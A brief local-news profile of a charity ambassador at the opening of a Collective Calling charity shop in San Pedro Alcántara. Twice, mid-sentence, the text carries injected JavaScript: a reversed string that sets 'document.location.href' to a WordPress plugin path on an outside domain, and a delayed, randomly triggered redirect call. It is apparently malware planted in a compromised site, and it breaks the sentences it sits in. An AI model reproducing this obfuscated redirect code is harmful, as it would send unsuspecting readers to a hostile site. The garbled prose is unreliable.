Veronika Tye’s was certainly one of the biggest smiles at last week’s opening of the Collective Calling charity shop in San Pedro Alcántara.

An ambassador for the Marbella-based charity for the last two years, Veronika is originally from the Czech Republic. She lived in Cambridge, England, for ten years, before moving toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Costa del Sol with her husband Martin and their three children five years ago. She already had a holiday home in southern Spain although the decision toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to settle permanently in Marbella was driven by the weather, a more outdoor lifestyle for the children, the friends she already had here and the renowned international schools in the area.